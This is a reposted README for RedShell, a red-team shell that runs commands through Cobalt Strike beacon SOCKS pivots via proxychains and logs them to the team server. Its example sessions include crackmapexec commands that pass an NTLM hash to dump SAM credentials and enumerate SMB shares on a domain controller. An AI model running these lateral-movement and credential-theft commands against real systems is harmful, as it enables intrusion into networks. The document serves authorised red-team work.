π RedShell - An interactive command prompt that executes commands through proxychains and automatically logs them on a Cobalt Strike team server
π‘ Newskategorie: IT Security Nachrichten
π Quelle: feedproxy.google.com
An interactive command prompt that executes commands through proxychains and automatically logs them on a Cobalt Strike team server.
RedShell runs on Python 3. It also requires a Cobalt Strike client installed on the system where it runs.
Install dependencies:
pip3 install -r requirements.txt
Install proxychains-ng (https://github.com/rofl0r/proxychains-ng):
apt install proxychains4
Make the agscript wrapper executable:
chmod +x agscript.sh
Usage
Start a socks listener on a beacon in your Cobalt Strike client.
Start RedShell:
$ python3 redshell.py
____ _______ __ ____
/ __ \___ ____/ / ___// /_ ___ / / /
/ /_/ / _ \/ __ /\__ \/ __ \/ _ \/ / /
/ _, _/ __/ /_/ /___/ / / / / __/ / /
/_/ |_|\___/\__,_//____/_/ /_/\___/_/_/
RedShell>
Display help:
RedShell> help
Documented commands (use 'help -v' for verbose/'help <topic>' for details):
===========================================================================
beacon_exec connect help pwd shell use_pivot
cd disconnect history quit show_pivots
config exit load_config set status
Set options:
RedShell> set option VALUE
Connecting to Cobalt Strike
Set Cobalt Strike connection options:
RedShell> set cs_host 127.0.0.1
RedShell> set cs_port 50050
RedShell> set cs_user somedude
Connect to team server (you will be prompted for the team server password):
RedShell> connect
Enter Cobalt Strike password:
Connecting...
βββββββββββββββββββββββββ€ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CS team server status β Connected via [email protected]:50050 β
βββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Socks port status β Disconnected β
βββββββββββββββββββββββββ§ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Or load from a config file. Note: team server passwords are not read from config files. Redshell will prompt for the teamserver password and then automatically connect.
$ cat config.txt
cs_host=127.0.0.1
cs_port=12345
cs_user=somedude
RedShell> load_config config.txt
Config applied:
ββββββββββββββββββββββββββββββ€ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Redshell install directory β /opt/redshell β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Proxychains config β /opt/redshell/proxychains_redshell.conf β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β CS install directory β /opt/cobaltstrike β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β CS team server β 127.0.0.1 β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β CS team server port β 50050 β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β CS user β somedude_redshell β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Socks port β β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Beacon PID β β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Password β β
ββββββββββββββββββββββββββββββ§ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Enter Cobalt Strike password:
βββββββββββββββββββββββββ€ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CS team server status β Connected via [email protected]:50050 β
βββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Socks port status β Disconnected β
βββββββββββββββββββββββββ§ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Show available proxy pivots:
RedShell> show_pivots
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ID Alive Socks Port PID User Computer Last β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ£
β 1 True 22200 8948 Administrator * WS02 16ms β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β 2 True 54212 7224 Administrator * WS03 39ms β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Select a proxy pivot (note: this can only be set after a connection to the team server has been established):
RedShell> use_pivot 2
βββββββββββββββββββββββββ€βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CS team server status β Connected via [email protected]:50050 β
βββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Socks port status β Connected via socks port 54212 @ beacon PID 7224 β
βββββββββββββββββββββββββ§βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Check config
RedShell> config
ββββββββββββββββββββββββββββββ€ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Redshell install directory β /opt/redshell β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Proxychains config β /opt/redshell/proxychains_redshell.conf β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β CS install directory β /opt/cobaltstrike β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β CS team server β 127.0.0.1 β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β CS team server port β 50050 β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β CS user β somedude_redshell β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Socks port β β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Beacon PID β β
ββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Password β β
ββββββββββββββββββββββββββββββ§ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Check status:
RedShell> status
βββββββββββββββββββββββββ€βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CS team server status β Connected via [email protected]:50050 β
βββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ’
β Socks port status β Connected via socks port 54212 @ beacon PID 7224 β
βββββββββββββββββββββββββ§βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Execute commands through the beacon socks proxy. These can be run in the context of the current user or via sudo. Specifying 'proxychains' in the command is optional. Commands are forced through proxychains. MITRE ATT&CK Tactic IDs are optional. Including
RedShell> beacon_exec -h
usage: beacon_exec [-h] [-t TTP] ...
Execute a command through proxychains/beacon socks proxy and simultaneously log it to the teamserver.
positional arguments:
command Command to execute through the proxy.
optional arguments:
-h, --help show this help message and exit
-t TTP, --ttp TTP MITRE ATT&CK Tactic IDs. Comma delimited to specify multiple.
example:
beacon_exec -t T1003,T1075 cme smb --local-auth -u Administrator -H C713B1D611657D0687A568122193F230 --sam 192.168.1.1
RedShell> beacon_exec cme smb 192.168.1.14
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 127.0.0.1:48199 ... 192.168.1.14:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:48199 ... 192.168.1.14:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:48199 ... 192.168.1.14:445 ... OK
SMB 192.168.1.14 445 TESTNET-DC1 [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:TESTNET-DC1) (domain:TESTNET) (signing:True) (SMBv1:True)
Note on passwords used in beacon_exec commands - special characters in passwords may be interpreted as shell meta characters, which could cause commands to fail. To get around this, set the password option and then invoke with '$password'. Example:
RedShell> set password Test12345
password - was: ''
now: 'Test12345'
RedShell> beacon_exec cme smb --local-auth -u administrator -p $password --shares 192.168.1.14
Note on the Redshell and CS install directory options - the script needs to know where it lives, as well as Cobalt Strike. If stuff blows up, be sure to set the directories accordingly:
RedShell> set redshell_directory /opt/redshell
RedShell> set cs_directory /opt/cobaltstrike
General Features
RedShell includes commands for navigating the file system:
RedShell> cd /opt/redshell/
RedShell> pwd
/opt/redshell
Additional commands can be run via the shell command or via the '!' shortcut:
RedShell> shell date
Mon 29 Jul 2019 05:33:02 PM MDT
RedShell> !date
Mon 29 Jul 2019 05:33:03 PM MDT
Commands are tracked and accessible via the history command:
RedShell> history
1 load_config config.txt
2 status
3 help
RedShell also includes tab-completion and clearing the terminal window via ctrl + l.
Maintainers
...